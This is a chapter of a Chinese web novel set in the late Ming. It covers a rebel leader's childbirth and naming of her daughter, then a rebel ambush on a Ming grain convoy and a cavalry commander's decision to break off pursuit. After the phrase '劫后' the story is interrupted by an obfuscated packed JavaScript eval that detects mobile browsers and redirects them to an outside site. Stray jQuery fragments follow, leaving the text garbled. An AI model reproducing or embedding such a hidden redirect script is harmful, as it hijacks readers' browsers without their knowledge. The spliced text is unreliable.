176. 夏至

作品:《铁娘子她怎么登基称帝了

    崇祯七年五月二十七日,夏至。


    建于大同社泥鳅罐基地的谱口工校的一栋红砖房内,婴儿嘹亮的啼哭声仿佛让整栋房子都震了一震。


    杨文煊猛地跳起身,一脸紧张看向紧闭的房门。


    赵同桂推开房间,冒着汗珠的脸上满是喜悦,“母女平安。”


    杨文煊的心定下来,跟着赵同桂进了产房,有些虚弱的刘今钰看着产婆抱着的皱皱巴巴的小小婴儿,发自内心的发出一道温柔的微笑。


    听见他来,刘今钰转过头道,“老杨,帮老子看好这小家伙,老子累死了,先休息休息。”


    话是这么说,但赵同桂抱走孩子时,刘今钰还是万般不舍,赵同桂几次往外走,她几次叫了回来。


    最后是杨文煊做了恶人,硬生生将她们母女分开。


    黄昏时杨文煊又来了红砖房,刘今钰已经下地,看着小床里睡觉的婴儿发笑,杨文煊走到她身边时才发觉有人来了。


    杨文煊坐在一边,笑道,“你不多休息休息,这就下地了?”


    “我身强体壮的,生个崽而已,轻轻松松。”刘今钰给自己竖了个大拇指。


    说着她突然撑在床边,杨文煊面色一变,连忙上前搀扶,她却又立直身子,哈哈大笑,“吓你的!别这么紧张!”


    杨文煊无语,硬逼着她坐下,“我知道你闲不下来,但至少月子好好坐。出了月子,你想干嘛,我懒得管。”


    他看向床上安安静静的孩子,摇头道,“唉,你出生的时候不好。潘曾纮步步紧逼,你娘是不会陪你多久的。”


    “喂!她还听不懂你说话呢!告状也没用!”刘今钰嚷嚷。


    “嘘!”杨文煊瞪她,“别吵醒了你崽!”


    刘今钰白他一眼,轻轻哼哼两声表示不满。


    杨文煊语重心长地对她说,“你千万答应我,安心坐月子。我给你崽物色好乳母了,你出了月子,恢复好身子,我绝对不管你。”


    刘今钰又哼哼两声,勉为其难地点了点头。


    杨文煊放下心来,“潘曾纮不知怎么想的,兵力本就不足,竟然兵分三路。黎靖参将那一路也就罢了,苏梦仪本就在黎平。


    “但为何分出雷时声一部驻扎衡阳西渡?潘曾纮再不知兵,也该知道周元儒的教训,周元儒至今下落未明!


    “难道,真就为了安抚桂王,免得桂王向崇祯告状?这也没必要吧,我们只取了常宁,占了西渡,又没围衡阳城。


    “现下衡州兵围了演陂堡,但只围不攻。雷时声率骑兵截断演陂堡粮道,几次突入昭阳县境。但我军一集结,他便逃回衡阳。”


    刘今钰想了想道,“雷时声想围点打援?”


    杨文煊沉着脸道,“我也是这么想的。虽然演陂堡存粮充足,三月无虞,但雷时声领着骑兵四处骚扰,实在恶心人。”


    刘今钰沉思一阵,“你让邓大刀来见我。”


    杨文煊顿时紧张起来,“你想做什么?你答应我……”


    “你放心,我不走,不然我找邓大刀做什么,自己直接去了。”安抚住杨文煊,她继续说道,“也正好,我该露面了。”


    杨文煊松了口气,“他在府城,我明日让他来见你。到时候你别忘了装成孕妇,算算日子,你现在最多只有五个月……”


    “装个屁!”刘今钰笑骂道,“你忘了赵同桂是谁妻子!”


    杨文煊却笑道,“你啊,天天在外面打仗,忘了赵同桂是什么人了。她脑子里,不是佛祖菩萨就是神仙。她不会说的。


    “何况,就算她说了,邓大刀又不是蠢货,知道你假装怀孕还去揭穿?”


    刘今钰耸耸肩,“好吧,听你的。”


    说着她突然露出一个神秘的笑,“我帮我崽取了个名字,你帮我参谋参谋。”


    杨文煊打趣道,“呦,劳驾女皇大人还记得这细微小事。我正想翻翻字典呢,倒是省了我事。你取了什么惊天地动鬼神的名字啊?”


    刘今钰将杨文煊的嘲讽扔到一边,嘿嘿笑道,“她夏至出生,小名就叫夏夏。大名嘛,六十四卦中有‘水火既济’,大名就叫刘澈!怎么样,好名字吧!”


    杨文煊撇撇嘴,“你真是半桶水晃悠,‘水火既济’可不是什么大吉的卦象,只能算是小吉。


    “水火本不相容,‘既济’前必尝艰辛,‘既济’后若不能保持警惕,‘既济’也会变成‘未济’。”


    顿了顿,他又板着脸道,“还有,这名字与你家的汉武大帝同音了,你好歹尊重下你的便宜祖宗。”


    “咋了,他叫刘彻,全天下姓‘刘’的就不能用‘彻’的同音字了?”刘今钰完全不当回事,“避讳也不是这么避的,何况老子可不管这一套。


    “叫你参谋,是让你夸夸老子的,不是让你在哪分析什么吉不吉的,老子无神论!而且,老子女儿,老子罩着,定叫她一生顺遂,没有一丁点苦!”


    ……


    西渡市西七里,面湖氵囦。


    南边矮山里忽地窜出上百个大汉,向包围演陂堡的明军运送粮食的车队骤然混乱,几辆牛车、骡车撞在一起,糙米散落一地。


    护卫车队的明军连声大呼,企图背靠演陂水,以车队为盾,构建一个简陋的防御阵型。


    然后实在太过仓促,刚躲在车队后面,敌人已奔至三十丈内。


    部分明军射出箭,东边一支,西边一支,没什么杀伤力。


    来敌在前方三十丈结成密集长阵。第一排稍稍蹲下,铳口稍稍抬起;后两排略微岔开,使得铳管能从前面两人的脑袋间伸出。


    只听得一声尖利的哨声,一片火光炸开,硝烟弥漫,铅弹打入牛、骡或是粮袋、木头车身之中,血肉、糙米与木屑往四周溅射,好些人被木屑划伤。


    不少牛骡当场死了,倒了一片,车身因此倾覆,粮袋砸伤了十数人。


    还没死的牛骡一阵哀嚎,发了狂地乱撞,不少人被撞伤。


    明军一片混乱,第二次齐射呼啸而至,明军前部几乎被直接削去。


    有人试图组织反击,却见一波又一波的敌人冲破硝烟,双手抓着火铳,铳管上的刺刀闪着冷光,叫人心寒。


    “投降不杀!”


    “投降不杀!”


    来敌越过粮袋、车子,恰如一把尖刀扎入待杀牲畜最柔软的腹部,明军的反抗被打断,明军被分割成几部分,彼此只能看见一边倒的屠杀和同伴的哀嚎声。


    刀矛落了一地,明军投降了。


    但他们没想到来敌根本不打算俘虏他们。


    将他们一捆,把粮食烧了,敌人便沿着兴陂水往西南方向逃了。


    劫后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889622|159702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    余生,他们欣喜若狂,互相帮忙解绑。


    一恢复自由,他们却又开始忧心怎么向雷时声交代。


    有人嘟囔,“还不如刚才与社贼一同逃了……”


    话音未落,脚下大地微微颤动,西北方向响起一阵马蹄声,百余骑兵从远处的矮山后露出身影。


    雷时声纵马至兴陂水畔,守备领人围了战败明军,将方才发生的事问了清楚,又踱步回来。


    雷时声却正若有所思地看向西南方面,守备不敢出声打扰。


    “问清楚了?”


    守备听见雷时声的声音,连忙回道,“雷帅,上百贼人令行禁止,手持装了刀刃的自发铳,定然是社贼精锐保家队。”


    “百余人,按社贼说法,就是一个连。”雷时声忽地一笑,“衡州官绅可说了,拿下一个连,给老子两千两,你们按官职,最多百两,最少十两。”


    守备眼珠子动了动,几个字差点出口,最后恭恭敬敬地说道,“标下听雷帅的。”


    雷时声大笑,“听老子的好!听老子的,便跟上去,白花花的银子不赚白不赚!”


    守备一喜,笑着道,“雷帅英明。”


    雷时声瞥他一眼,守备心口一紧,雷时声却只是淡淡说道,“你去告诉那些蠢货回西渡领罚,我们去追……”


    他笑道,“好多好多银子!”


    守备动作很快,其他将士也很是积极,没多久功夫便打发走战败明军,集结成队。


    百马齐鸣,马蹄声将兴陂水的潺潺声盖了过去,临近村落唯恐避之不及,纷纷逃入矮山之中。


    雷部停在枧陂堰休整,演陂水被丘陵阻拦,折向西北,却又在两里外再次折向西南。


    山势如此变化,将前方全遮拦住了。


    不久,塘马回来报告情况。


    守备兴奋说道,“雷帅,社贼就在前方六里处的灵官庙,我们驰马过去,定能将之阻下!”


    雷时声想了想,亲自去问塘马,问得极细,不但问了社贼人数、状态,还问了兴陂水及两岸山地情况。


    “也就是说,灵官庙再往西,便要大山里头了?”


    塘马有些畏葸地点了点头,雷时声顿时陷入沉思。


    守备却有些着急,“雷帅,塘马发现社贼,社贼定然也发现我部塘马了。若不快些,社贼逃入山中,可就抓不住他们了!”


    雷时声不说话,守备鼓起勇气再劝道,“雷帅,社贼定是觉得快进山了,以为我们不会追击这么远,才会松懈。


    “这可是我们击溃社贼保家队的好机会!标下听说社贼保家队如今才六连,若能击溃这一连,社贼定然士气大损。


    “现下社贼四处骚扰,不但打粮队,在骑兵行进路上布置陷阱,甚至夜里跑去西渡扔轰天雷,着实可恶!


    “步兵追不上社贼,骑兵又不能入山。好不容易有这机会……雷帅,剿了他这一连,能大大灭了社贼威风!”


    雷时声还是不说话,看看地,看看天,看看水,又看了看山。


    “夏天到了。”


    雷时声的话叫守备一脸懵。


    “南方酷暑,马匹最不耐热,若继续追击,恐损伤马匹。”


    守备惊呆了。


    雷时声却调转马头,很是干脆地说道,“传老子命令,即刻返回西渡!”